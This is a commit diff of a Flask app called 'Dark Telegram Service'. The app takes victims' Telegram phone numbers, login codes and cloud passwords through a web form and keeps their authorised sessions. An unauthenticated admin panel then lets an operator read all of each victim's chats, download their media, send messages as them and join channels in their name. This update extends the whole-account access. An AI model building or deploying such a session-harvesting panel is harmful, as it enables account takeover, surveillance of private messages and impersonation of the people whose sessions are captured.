Aleksmorshen commited on
Commit
676bde6
·
verified ·
1 Parent(s): 5d8dc39

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +374 -125
app.py CHANGED
@@ -4,9 +4,11 @@ import os
4
  import sqlite3
5
  from pathlib import Path
6
 
7
- from flask import Flask, jsonify, request, render_template_string, send_from_directory
8
  from telethon.sync import TelegramClient
9
- from telethon.errors import SessionPasswordNeededError # Импорт специфической ошибки
 
 
10
 
11
  app = Flask(__name__)
12
 
@@ -34,6 +36,18 @@ def init_db():
34
  os.makedirs(SESSION_DIR, exist_ok=True)
35
  os.makedirs(DOWNLOAD_DIR, exist_ok=True)
36
 
 
 
 
 
 
 
 
 
 
 
 
 
37
  HTML_TEMPLATE = '''
38
  <!DOCTYPE html>
39
  <html lang="en">
@@ -43,18 +57,24 @@ HTML_TEMPLATE = '''
43
  <title>Dark Telegram Service</title>
44
  <style>
45
  body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; }
46
- .container { max-width: 800px; margin: auto; }
47
- h1 { text-align: center; color: #00ff00; }
48
  .form, .admin-panel { background: #333; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
49
- input, button { padding: 10px; margin: 5px; background: #444; color: #fff; border: none; border-radius: 3px; }
50
  button { cursor: pointer; background: #00ff00; }
51
  button:hover { background: #00cc00; }
52
- table { width: 100%; border-collapse: collapse; }
53
  th, td { padding: 10px; border: 1px solid #555; text-align: left; }
54
  a { color: #00ff00; text-decoration: none; }
55
  a:hover { text-decoration: underline; }
56
- .chat { background: #222; padding: 10px; max-height: 300px; overflow-y: auto; }
57
- .message { margin: 5px 0; }
 
 
 
 
 
 
58
  </style>
59
  </head>
60
  <body>
@@ -70,21 +90,23 @@ HTML_TEMPLATE = '''
70
  <button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
71
  </div>
72
  <div class="admin-panel">
73
- <h2>Admin Panel</h2>
74
  <table>
75
- <tr><th>ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr>
76
- {% for user in users %}
77
- <tr>
78
- <td>{{ user[0] }}</td>
79
- <td>{{ user[2] }}</td>
80
- <td>{{ user[3] }}</td>
81
- <td>
82
- <a href="/user/{{ user[0] }}/messages">Messages</a> |
83
- <a href="/user/{{ user[0] }}/files">Files</a> |
84
- <a href="javascript:void(0);" onclick="sendMessage({{ user[0] }})">Send Message</a>
85
- </td>
86
- </tr>
87
- {% endfor %}
 
 
88
  </table>
89
  </div>
90
  </div>
@@ -101,10 +123,12 @@ HTML_TEMPLATE = '''
101
  });
102
  const result = await response.json();
103
  alert(result.message);
104
- if (result.success) {
105
  phoneCodeHash = result.phone_code_hash;
106
  document.getElementById('code').style.display = 'inline';
107
  document.getElementById('submitCode').style.display = 'inline';
 
 
108
  }
109
  }
110
 
@@ -132,17 +156,94 @@ HTML_TEMPLATE = '''
132
  const response = await fetch('/login', {
133
  method: 'POST',
134
  headers: { 'Content-Type': 'application/json' },
135
- // Убедитесь, что 'phone' отправляется снова на этапе ввода пароля
136
  body: JSON.stringify({ phone, password, step: 'password' })
137
  });
138
  const result = await response.json();
139
- alert(result.message);
140
- if (result.success) location.reload();
 
 
 
 
141
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
142
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
143
  async function sendMessage(userId) {
144
- const chatId = prompt('Enter chat ID or username:');
145
- const message = prompt('Enter message:');
146
  if (chatId && message) {
147
  const response = await fetch(`/send_message/${userId}`, {
148
  method: 'POST',
@@ -151,6 +252,31 @@ HTML_TEMPLATE = '''
151
  });
152
  const result = await response.json();
153
  alert(result.message);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
154
  }
155
  }
156
  </script>
@@ -158,6 +284,59 @@ HTML_TEMPLATE = '''
158
  </html>
159
  '''
160
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
161
  @app.route('/')
162
  def index():
163
  with sqlite3.connect(DB_PATH) as conn:
@@ -174,7 +353,9 @@ def login():
174
  password = data.get('password')
175
  phone_code_hash = data.get('phone_code_hash')
176
  step = data.get('step')
177
- session_file_path = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
 
 
178
 
179
  async def _login_async():
180
  client = TelegramClient(session_file_path, API_ID, API_HASH)
@@ -182,50 +363,50 @@ def login():
182
  try:
183
  if step == 'start':
184
  await client.connect()
185
- sent_code = await client.send_code_request(phone)
186
- result = {'success': True, 'message': 'Code sent to your Telegram', 'phone_code_hash': sent_code.phone_code_hash}
 
 
 
 
 
 
 
 
 
187
  elif step == 'code':
188
  await client.connect()
189
  if not phone_code_hash:
190
  raise ValueError('phone_code_hash is missing for code step.')
191
-
192
  try:
193
- # Попытка входа с телефоном, кодом и хэшем.
194
- # Если включена 2FA, это вызовет SessionPasswordNeededError.
195
  me = await client.sign_in(phone=phone, code=code, phone_code_hash=phone_code_hash)
196
-
197
- # Если вход успешен, сохраняем данные пользователя
198
  with sqlite3.connect(DB_PATH) as conn:
199
  c = conn.cursor()
200
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
201
  (str(me.id), me.username or '', phone, session_file_path))
202
  conn.commit()
203
- result = {'success': True, 'message': 'Logged in successfully'}
204
  except SessionPasswordNeededError:
205
- # Требуется 2FA. Telethon должен был внутренне подготовить файл сессии
206
- # для последующего входа только по паролю.
207
- result = {'success': False, 'password_required': True, 'message': 'Cloud password required'}
208
  except Exception as e:
209
- # Обработка других ошибок во время отправки кода
210
- result = {'success': False, 'message': str(e)}
211
  elif step == 'password':
212
  await client.connect()
213
- # При использовании 'password' с client.sign_in, явное указание 'phone' может помочь
214
- # Telethon связать запрос с правильной текущей сессией входа
215
- # или частично сохраненным состоянием файла сессии.
216
- me = await client.sign_in(phone=phone, password=password) # Явно передаем phone
217
-
218
- with sqlite3.connect(DB_PATH) as conn:
219
- c = conn.cursor()
220
- c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
221
- (str(me.id), me.username or '', phone, session_file_path))
222
- conn.commit()
223
- result = {'success': True, 'message': 'Logged in with cloud password'}
224
  else:
225
- result = {'success': False, 'message': 'Invalid step'}
226
  except Exception as e:
227
- # Обработка любых неожиданных ошибок, которые не были обработаны выше
228
- result = {'success': False, 'message': str(e)}
229
  finally:
230
  if client and client.is_connected():
231
  await client.disconnect()
@@ -233,74 +414,113 @@ def login():
233
 
234
  return jsonify(asyncio.run(_login_async()))
235
 
236
- @app.route('/user/<int:user_id>/messages')
237
- def get_messages(user_id):
238
  with sqlite3.connect(DB_PATH) as conn:
239
  c = conn.cursor()
240
- c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
241
- session_file = c.fetchone()[0]
 
 
 
 
 
 
 
 
 
242
 
243
- async def _get_messages_async():
244
- client = TelegramClient(session_file, API_ID, API_HASH)
245
- await client.connect()
246
- messages = []
 
 
247
  try:
248
- async for dialog in client.iter_dialogs(limit=10):
249
- async for message in client.iter_messages(dialog, limit=10):
250
- messages.append({'chat': dialog.title, 'text': message.text or '', 'date': str(message.date)})
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
251
  finally:
252
- if client.is_connected():
253
  await client.disconnect()
254
- return messages
255
-
256
- messages = asyncio.run(_get_messages_async())
257
- return render_template_string('''
258
- <h1>Messages for User {{ user_id }}</h1>
259
- <div class="chat">
260
- {% for msg in messages %}
261
- <div class="message"><b>{{ msg.chat }}</b> ({{ msg.date }}): {{ msg.text }}</div>
262
- {% endfor %}
263
- </div>
264
- <a href="/">Back</a>
265
- ''', user_id=user_id, messages=messages)
266
 
267
- @app.route('/user/<int:user_id>/files')
268
- def get_files(user_id):
269
- with sqlite3.connect(DB_PATH) as conn:
270
- c = conn.cursor()
271
- c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
272
- session_file = c.fetchone()[0]
273
 
274
- async def _get_files_async():
275
- client = TelegramClient(session_file, API_ID, API_HASH)
276
- await client.connect()
277
- files = []
 
 
 
 
 
 
 
278
  try:
279
- async for dialog in client.iter_dialogs(limit=10):
280
- async for message in client.iter_messages(dialog, limit=10):
281
- if message.media:
282
- file_path = await client.download_media(message, DOWNLOAD_DIR)
283
- if file_path:
284
- files.append({'chat': dialog.title, 'file': Path(file_path).name})
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
285
  finally:
286
- if client.is_connected():
287
  await client.disconnect()
288
- return files
289
-
290
- files = asyncio.run(_get_files_async())
291
- return render_template_string('''
292
- <h1>Files for User {{ user_id }}</h1>
293
- <table>
294
- <tr><th>Chat</th><th>File</th></tr>
295
- {% for file in files %}
296
- <tr>
297
- <td>{{ file.chat }}</td>
298
- <td><a href="/download/{{ file.file }}">{{ file.file }}</a></td>
299
- </tr>
300
- {% endfor %}
301
- </table>
302
- <a href="/">Back</a>
303
- ''', user_id=user_id, files=files)
304
 
305
  @app.route('/download/<filename>')
306
  def download_file(filename):
@@ -309,29 +529,58 @@ def download_file(filename):
309
  @app.route('/send_message/<int:user_id>', methods=['POST'])
310
  def send_message(user_id):
311
  data = request.json
312
- chat_id = data.get('chat_id')
313
- message = data.get('message')
314
-
315
- with sqlite3.connect(DB_PATH) as conn:
316
- c = conn.cursor()
317
- c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
318
- session_file = c.fetchone()[0]
319
 
320
  async def _send_message_async():
321
- client = TelegramClient(session_file, API_ID, API_HASH)
322
- await client.connect()
 
323
  try:
324
- await client.send_message(chat_id, message)
325
- return {'success': True, 'message': 'Message sent'}
326
  except Exception as e:
327
  return {'success': False, 'message': str(e)}
328
  finally:
329
- if client.is_connected():
330
  await client.disconnect()
331
 
332
  result = asyncio.run(_send_message_async())
333
  return jsonify(result)
334
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
335
  if __name__ == '__main__':
336
  init_db()
337
  app.run(host=HOST, port=PORT)
 
4
  import sqlite3
5
  from pathlib import Path
6
 
7
+ from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for
8
  from telethon.sync import TelegramClient
9
+ from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
10
+ from telethon.tl.functions.messages import ImportChatInviteRequest
11
+ from telethon.tl.functions.channels import JoinChannelRequest
12
 
13
  app = Flask(__name__)
14
 
 
36
  os.makedirs(SESSION_DIR, exist_ok=True)
37
  os.makedirs(DOWNLOAD_DIR, exist_ok=True)
38
 
39
+ async def get_user_client(user_id):
40
+ with sqlite3.connect(DB_PATH) as conn:
41
+ c = conn.cursor()
42
+ c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
43
+ result = c.fetchone()
44
+ if not result:
45
+ return None, "User not found"
46
+ session_file = result[0]
47
+ client = TelegramClient(session_file, API_ID, API_HASH)
48
+ await client.connect()
49
+ return client, None
50
+
51
  HTML_TEMPLATE = '''
52
  <!DOCTYPE html>
53
  <html lang="en">
 
57
  <title>Dark Telegram Service</title>
58
  <style>
59
  body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; }
60
+ .container { max-width: 900px; margin: auto; }
61
+ h1, h2 { text-align: center; color: #00ff00; }
62
  .form, .admin-panel { background: #333; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
63
+ input[type="text"], input[type="password"], textarea, button, select { padding: 10px; margin: 5px; background: #444; color: #fff; border: none; border-radius: 3px; }
64
  button { cursor: pointer; background: #00ff00; }
65
  button:hover { background: #00cc00; }
66
+ table { width: 100%; border-collapse: collapse; margin-top: 15px; }
67
  th, td { padding: 10px; border: 1px solid #555; text-align: left; }
68
  a { color: #00ff00; text-decoration: none; }
69
  a:hover { text-decoration: underline; }
70
+ .chat-list, .message-list { background: #222; padding: 10px; max-height: 500px; overflow-y: auto; border-radius: 3px; margin-top: 15px;}
71
+ .chat-item, .message-item { margin: 10px 0; padding: 8px; background: #3a3a3a; border-radius: 3px; }
72
+ .message-item strong { color: #00ff00; }
73
+ .back-button { margin-top: 20px; display: block; text-align: center; }
74
+ .controls { display: flex; flex-wrap: wrap; justify-content: center; gap: 10px; margin-top: 15px;}
75
+ .controls button { flex: 1 1 auto; max-width: 200px; }
76
+ .split-panel { display: flex; gap: 20px; margin-top: 20px; }
77
+ .split-panel > div { flex: 1; background: #333; padding: 20px; border-radius: 5px; }
78
  </style>
79
  </head>
80
  <body>
 
90
  <button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
91
  </div>
92
  <div class="admin-panel">
93
+ <h2>Admin Panel - Managed Accounts</h2>
94
  <table>
95
+ <thead>
96
+ <tr><th>ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr>
97
+ </thead>
98
+ <tbody>
99
+ {% for user in users %}
100
+ <tr>
101
+ <td>{{ user[0] }}</td>
102
+ <td>{{ user[2] }}</td>
103
+ <td>{{ user[3] }}</td>
104
+ <td>
105
+ <a href="/user/{{ user[0] }}/manage">Manage Account</a>
106
+ </td>
107
+ </tr>
108
+ {% endfor %}
109
+ </tbody>
110
  </table>
111
  </div>
112
  </div>
 
123
  });
124
  const result = await response.json();
125
  alert(result.message);
126
+ if (result.success && result.phone_code_hash) {
127
  phoneCodeHash = result.phone_code_hash;
128
  document.getElementById('code').style.display = 'inline';
129
  document.getElementById('submitCode').style.display = 'inline';
130
+ } else if (result.success && !result.phone_code_hash) {
131
+ location.reload();
132
  }
133
  }
134
 
 
156
  const response = await fetch('/login', {
157
  method: 'POST',
158
  headers: { 'Content-Type': 'application/json' },
 
159
  body: JSON.stringify({ phone, password, step: 'password' })
160
  });
161
  const result = await response.json();
162
+ if (result.success) {
163
+ alert(result.message);
164
+ location.reload();
165
+ } else {
166
+ alert('Login failed: ' + result.message);
167
+ }
168
  }
169
+ </script>
170
+ </body>
171
+ </html>
172
+ '''
173
+
174
+ USER_MANAGE_TEMPLATE = '''
175
+ <!DOCTYPE html>
176
+ <html lang="en">
177
+ <head>
178
+ <meta charset="UTF-8">
179
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
180
+ <title>Manage Account - {{ user.username or user.phone }}</title>
181
+ <style>
182
+ body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; }
183
+ .container { max-width: 900px; margin: auto; }
184
+ h1, h2 { text-align: center; color: #00ff00; }
185
+ .user-panel, .chat-list-panel, .action-panel { background: #333; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
186
+ input[type="text"], textarea, button { padding: 10px; margin: 5px; background: #444; color: #fff; border: none; border-radius: 3px; width: calc(100% - 10px); box-sizing: border-box; }
187
+ button { cursor: pointer; background: #00ff00; width: auto; padding: 10px 20px; }
188
+ button:hover { background: #00cc00; }
189
+ .split-panel { display: flex; gap: 20px; margin-top: 20px; }
190
+ .split-panel > div { flex: 1; background: #333; padding: 20px; border-radius: 5px; }
191
+ .chat-list { max-height: 400px; overflow-y: auto; }
192
+ .chat-item { padding: 10px; border-bottom: 1px solid #444; cursor: pointer; }
193
+ .chat-item:hover { background: #4a4a4a; }
194
+ .chat-item:last-child { border-bottom: none; }
195
+ .chat-item a { display: block; color: #fff; text-decoration: none; }
196
+ .chat-item span { display: block; font-size: 0.9em; color: #bbb; }
197
+ .chat-item strong { color: #00ff00; }
198
+ .back-button { margin-top: 20px; text-align: center; }
199
+ .button-group { margin-top: 15px; display: flex; gap: 10px; flex-wrap: wrap; }
200
+ .button-group button { flex-grow: 1; }
201
+ </style>
202
+ </head>
203
+ <body>
204
+ <div class="container">
205
+ <h1>Manage Account: {{ user.username or user.phone }} (ID: {{ user.id }})</h1>
206
 
207
+ <div class="split-panel">
208
+ <div class="action-panel">
209
+ <h2>Send Message</h2>
210
+ <input type="text" id="sendMessageRecipient" placeholder="Recipient (username or ID)">
211
+ <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
212
+ <button onclick="sendMessage({{ user.id }})">Send Message</button>
213
+
214
+ <h2 style="margin-top: 30px;">Join Chat</h2>
215
+ <input type="text" id="joinChatIdentifier" placeholder="Channel/Group username or invite link">
216
+ <button onclick="joinChat({{ user.id }})">Join Chat</button>
217
+ </div>
218
+
219
+ <div class="chat-list-panel">
220
+ <h2>Chats</h2>
221
+ <div class="chat-list">
222
+ {% if chats %}
223
+ {% for chat in chats %}
224
+ <div class="chat-item">
225
+ <a href="/user/{{ user.id }}/chat/{{ chat.id }}/messages">
226
+ <strong>{{ chat.title }}</strong>
227
+ <span>Type: {{ chat.type }} | Participants: {{ chat.participants }}</span>
228
+ </a>
229
+ </div>
230
+ {% endfor %}
231
+ {% else %}
232
+ <p>No chats found.</p>
233
+ {% endif %}
234
+ </div>
235
+ </div>
236
+ </div>
237
+
238
+ <div class="back-button">
239
+ <a href="/">Back to Admin Panel</a>
240
+ </div>
241
+ </div>
242
+
243
+ <script>
244
  async function sendMessage(userId) {
245
+ const chatId = document.getElementById('sendMessageRecipient').value;
246
+ const message = document.getElementById('sendMessageContent').value;
247
  if (chatId && message) {
248
  const response = await fetch(`/send_message/${userId}`, {
249
  method: 'POST',
 
252
  });
253
  const result = await response.json();
254
  alert(result.message);
255
+ if (result.success) {
256
+ document.getElementById('sendMessageRecipient').value = '';
257
+ document.getElementById('sendMessageContent').value = '';
258
+ }
259
+ } else {
260
+ alert('Please enter recipient and message.');
261
+ }
262
+ }
263
+
264
+ async function joinChat(userId) {
265
+ const chatIdentifier = document.getElementById('joinChatIdentifier').value;
266
+ if (chatIdentifier) {
267
+ const response = await fetch(`/join_chat/${userId}`, {
268
+ method: 'POST',
269
+ headers: { 'Content-Type': 'application/json' },
270
+ body: JSON.stringify({ chat_identifier: chatIdentifier })
271
+ });
272
+ const result = await response.json();
273
+ alert(result.message);
274
+ if (result.success) {
275
+ document.getElementById('joinChatIdentifier').value = '';
276
+ location.reload();
277
+ }
278
+ } else {
279
+ alert('Please enter channel/group username or invite link.');
280
  }
281
  }
282
  </script>
 
284
  </html>
285
  '''
286
 
287
+ CHAT_MESSAGES_TEMPLATE = '''
288
+ <!DOCTYPE html>
289
+ <html lang="en">
290
+ <head>
291
+ <meta charset="UTF-8">
292
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
293
+ <title>Messages in {{ chat_title }}</title>
294
+ <style>
295
+ body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; }
296
+ .container { max-width: 800px; margin: auto; }
297
+ h1 { text-align: center; color: #00ff00; }
298
+ .message-list { background: #222; padding: 10px; max-height: 70vh; overflow-y: auto; border-radius: 3px; margin-top: 15px;}
299
+ .message-item { margin: 10px 0; padding: 8px; background: #3a3a3a; border-radius: 3px; }
300
+ .message-item strong { color: #00ff00; }
301
+ .message-meta { font-size: 0.8em; color: #bbb; margin-bottom: 5px; }
302
+ .message-text { white-space: pre-wrap; word-wrap: break-word; }
303
+ .media-link { display: block; margin-top: 5px; color: #00ffff; }
304
+ .back-button { margin-top: 20px; display: block; text-align: center; }
305
+ </style>
306
+ </head>
307
+ <body>
308
+ <div class="container">
309
+ <h1>Messages in "{{ chat_title }}"</h1>
310
+ <div class="message-list">
311
+ {% if messages %}
312
+ {% for msg in messages %}
313
+ <div class="message-item">
314
+ <div class="message-meta">
315
+ <strong>{{ msg.sender_name }}</strong> ({{ msg.date }})
316
+ </div>
317
+ {% if msg.text %}
318
+ <div class="message-text">{{ msg.text }}</div>
319
+ {% endif %}
320
+ {% if msg.file_name %}
321
+ <a class="media-link" href="/download/{{ msg.file_name }}" download>{{ msg.file_name }} ({{ msg.file_size }})</a>
322
+ {% endif %}
323
+ {% if not msg.text and not msg.file_name %}
324
+ <div class="message-text"><i>(Unsupported media or empty message)</i></div>
325
+ {% endif %}
326
+ </div>
327
+ {% endfor %}
328
+ {% else %}
329
+ <p>No messages found in this chat.</p>
330
+ {% endif %}
331
+ </div>
332
+ <div class="back-button">
333
+ <a href="/user/{{ user_id }}/manage">Back to Account Management</a>
334
+ </div>
335
+ </div>
336
+ </body>
337
+ </html>
338
+ '''
339
+
340
  @app.route('/')
341
  def index():
342
  with sqlite3.connect(DB_PATH) as conn:
 
353
  password = data.get('password')
354
  phone_code_hash = data.get('phone_code_hash')
355
  step = data.get('step')
356
+
357
+ session_hash = hashlib.md5(phone.encode()).hexdigest()
358
+ session_file_path = f"{SESSION_DIR}/{session_hash}.session"
359
 
360
  async def _login_async():
361
  client = TelegramClient(session_file_path, API_ID, API_HASH)
 
363
  try:
364
  if step == 'start':
365
  await client.connect()
366
+ if await client.is_user_authorized():
367
+ me = await client.get_me()
368
+ with sqlite3.connect(DB_PATH) as conn:
369
+ c = conn.cursor()
370
+ c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
371
+ (str(me.id), me.username or '', phone, session_file_path))
372
+ conn.commit()
373
+ result = {'success': True, 'message': 'Already logged in.'}
374
+ else:
375
+ sent_code = await client.send_code_request(phone)
376
+ result = {'success': True, 'message': 'Code sent to your Telegram.', 'phone_code_hash': sent_code.phone_code_hash}
377
  elif step == 'code':
378
  await client.connect()
379
  if not phone_code_hash:
380
  raise ValueError('phone_code_hash is missing for code step.')
381
+
382
  try:
 
 
383
  me = await client.sign_in(phone=phone, code=code, phone_code_hash=phone_code_hash)
 
 
384
  with sqlite3.connect(DB_PATH) as conn:
385
  c = conn.cursor()
386
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
387
  (str(me.id), me.username or '', phone, session_file_path))
388
  conn.commit()
389
+ result = {'success': True, 'message': 'Logged in successfully.'}
390
  except SessionPasswordNeededError:
391
+ result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
 
 
392
  except Exception as e:
393
+ result = {'success': False, 'message': f'Error during code submission: {e}.'}
 
394
  elif step == 'password':
395
  await client.connect()
396
+ try:
397
+ me = await client.sign_in(password=password)
398
+ with sqlite3.connect(DB_PATH) as conn:
399
+ c = conn.cursor()
400
+ c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
401
+ (str(me.id), me.username or '', phone, session_file_path))
402
+ conn.commit()
403
+ result = {'success': True, 'message': 'Logged in with cloud password.'}
404
+ except Exception as e:
405
+ result = {'success': False, 'message': f'Error during password submission: {e}.'}
 
406
  else:
407
+ result = {'success': False, 'message': 'Invalid step.'}
408
  except Exception as e:
409
+ result = {'success': False, 'message': f'An unexpected error occurred: {e}.'}
 
410
  finally:
411
  if client and client.is_connected():
412
  await client.disconnect()
 
414
 
415
  return jsonify(asyncio.run(_login_async()))
416
 
417
+ @app.route('/user/<int:user_id>/manage')
418
+ def manage_user_account(user_id):
419
  with sqlite3.connect(DB_PATH) as conn:
420
  c = conn.cursor()
421
+ c.execute('SELECT id, telegram_id, username, phone, session_file FROM users WHERE id = ?', (user_id,))
422
+ user_data = c.fetchone()
423
+ if not user_data:
424
+ return "User not found", 404
425
+ user_dict = {
426
+ 'id': user_data[0],
427
+ 'telegram_id': user_data[1],
428
+ 'username': user_data[2],
429
+ 'phone': user_data[3],
430
+ 'session_file': user_data[4]
431
+ }
432
 
433
+ async def _get_chats_async():
434
+ client, error = await get_user_client(user_id)
435
+ if error:
436
+ return None, error
437
+
438
+ chats_info = []
439
  try:
440
+ async for dialog in client.iter_dialogs():
441
+ chat_type = 'User'
442
+ participants = 'N/A'
443
+ if dialog.is_channel:
444
+ chat_type = 'Channel'
445
+ if hasattr(dialog.entity, 'participants_count'):
446
+ participants = dialog.entity.participants_count
447
+ elif dialog.is_group:
448
+ chat_type = 'Group'
449
+ if hasattr(dialog.entity, 'participants_count'):
450
+ participants = dialog.entity.participants_count
451
+
452
+ chats_info.append({
453
+ 'id': dialog.id,
454
+ 'title': dialog.title,
455
+ 'type': chat_type,
456
+ 'participants': participants
457
+ })
458
+ except Exception as e:
459
+ return None, str(e)
460
  finally:
461
+ if client and client.is_connected():
462
  await client.disconnect()
463
+ return chats_info, None
 
 
 
 
 
 
 
 
 
 
 
464
 
465
+ chats, error = asyncio.run(_get_chats_async())
466
+ if error:
467
+ return f"Failed to load chats: {error}", 500
 
 
 
468
 
469
+ return render_template_string(USER_MANAGE_TEMPLATE, user=user_dict, chats=chats)
470
+
471
+ @app.route('/user/<int:user_id>/chat/<int:peer_id>/messages')
472
+ def get_chat_messages(user_id, peer_id):
473
+ async def _get_messages_async():
474
+ client, error = await get_user_client(user_id)
475
+ if error:
476
+ return None, None, error
477
+
478
+ messages = []
479
+ chat_title = "Unknown Chat"
480
  try:
481
+ entity = await client.get_entity(peer_id)
482
+ chat_title = getattr(entity, 'title', getattr(entity, 'username', str(entity.id)))
483
+
484
+ async for message in client.iter_messages(entity, reverse=True):
485
+ msg_data = {
486
+ 'text': message.text,
487
+ 'date': str(message.date.strftime("%Y-%m-%d %H:%M:%S")),
488
+ 'sender_name': 'Unknown'
489
+ }
490
+
491
+ if message.sender:
492
+ if message.sender.first_name:
493
+ msg_data['sender_name'] = message.sender.first_name
494
+ if message.sender.last_name:
495
+ msg_data['sender_name'] += f" {message.sender.last_name}"
496
+ elif message.sender.username:
497
+ msg_data['sender_name'] = message.sender.username
498
+ elif hasattr(message.sender, 'title'):
499
+ msg_data['sender_name'] = message.sender.title
500
+
501
+ if message.media:
502
+ try:
503
+ file_info = await client.download_media(message, file=DOWNLOAD_DIR)
504
+ if file_info:
505
+ file_path = Path(file_info)
506
+ msg_data['file_name'] = file_path.name
507
+ msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB" if os.path.exists(file_path) else "N/A"
508
+ except Exception as e:
509
+ msg_data['file_name'] = f"Error downloading file: {e}"
510
+ msg_data['file_size'] = ""
511
+ messages.append(msg_data)
512
+ except Exception as e:
513
+ return None, None, str(e)
514
  finally:
515
+ if client and client.is_connected():
516
  await client.disconnect()
517
+ return messages, chat_title, None
518
+
519
+ messages, chat_title, error = asyncio.run(_get_messages_async())
520
+ if error:
521
+ return f"Failed to load messages: {error}", 500
522
+
523
+ return render_template_string(CHAT_MESSAGES_TEMPLATE, user_id=user_id, chat_title=chat_title, messages=messages)
 
 
 
 
 
 
 
 
 
524
 
525
  @app.route('/download/<filename>')
526
  def download_file(filename):
 
529
  @app.route('/send_message/<int:user_id>', methods=['POST'])
530
  def send_message(user_id):
531
  data = request.json
532
+ chat_id_or_username = data.get('chat_id')
533
+ message_content = data.get('message')
 
 
 
 
 
534
 
535
  async def _send_message_async():
536
+ client, error = await get_user_client(user_id)
537
+ if error:
538
+ return {'success': False, 'message': error}
539
  try:
540
+ await client.send_message(chat_id_or_username, message_content)
541
+ return {'success': True, 'message': 'Message sent successfully.'}
542
  except Exception as e:
543
  return {'success': False, 'message': str(e)}
544
  finally:
545
+ if client and client.is_connected():
546
  await client.disconnect()
547
 
548
  result = asyncio.run(_send_message_async())
549
  return jsonify(result)
550
 
551
+ @app.route('/join_chat/<int:user_id>', methods=['POST'])
552
+ def join_chat(user_id):
553
+ data = request.json
554
+ chat_identifier = data.get('chat_identifier')
555
+
556
+ async def _join_chat_async():
557
+ client, error = await get_user_client(user_id)
558
+ if error:
559
+ return {'success': False, 'message': error}
560
+ try:
561
+ if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
562
+ invite_hash = chat_identifier.split('/')[-1]
563
+ if '+' in invite_hash:
564
+ invite_hash = invite_hash.replace('+', '')
565
+ await client(ImportChatInviteRequest(invite_hash))
566
+ else:
567
+ if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
568
+ chat_identifier = '@' + chat_identifier
569
+ await client(JoinChannelRequest(chat_identifier))
570
+ return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
571
+ except FloodWaitError as e:
572
+ return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
573
+ except UserNotParticipantError:
574
+ return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
575
+ except Exception as e:
576
+ return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
577
+ finally:
578
+ if client and client.is_connected():
579
+ await client.disconnect()
580
+
581
+ result = asyncio.run(_join_chat_async())
582
+ return jsonify(result)
583
+
584
  if __name__ == '__main__':
585
  init_db()
586
  app.run(host=HOST, port=PORT)